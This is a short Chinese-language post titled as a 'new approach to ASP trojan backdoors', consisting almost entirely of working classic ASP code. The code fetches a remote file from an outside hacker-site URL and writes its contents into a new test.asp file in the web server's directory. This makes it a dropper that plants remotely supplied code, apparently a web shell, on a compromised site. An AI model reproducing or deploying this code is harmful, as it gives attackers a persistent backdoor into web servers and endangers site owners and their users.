ASP木馬後門新思路

<%

Function GetPage(url)

dim Retrieval

Set Retrieval = createObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False ', "", ""

.Send

GetPage = BytesToBstr(.ResponseBody)

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body)

dim objstream

set objstream = Server.createObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = "GB2312"

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

on error resume next

Url="http://www.heibai.org/hacker/daemon.txt"

response.write "開始取得遠程代碼........"

wstr = GetPage(Url)

Set fs=Server.createObject("Scripting.FileSystemObject")

Set CrFi=fs.createTextFile(server.MapPath("./")&"\test.asp")

Crfi.Writeline(wstr)

set CrFi=nothing

set fs=nothing

response.write "...<font color=red>產生test.asp檔案成功</font>"

%>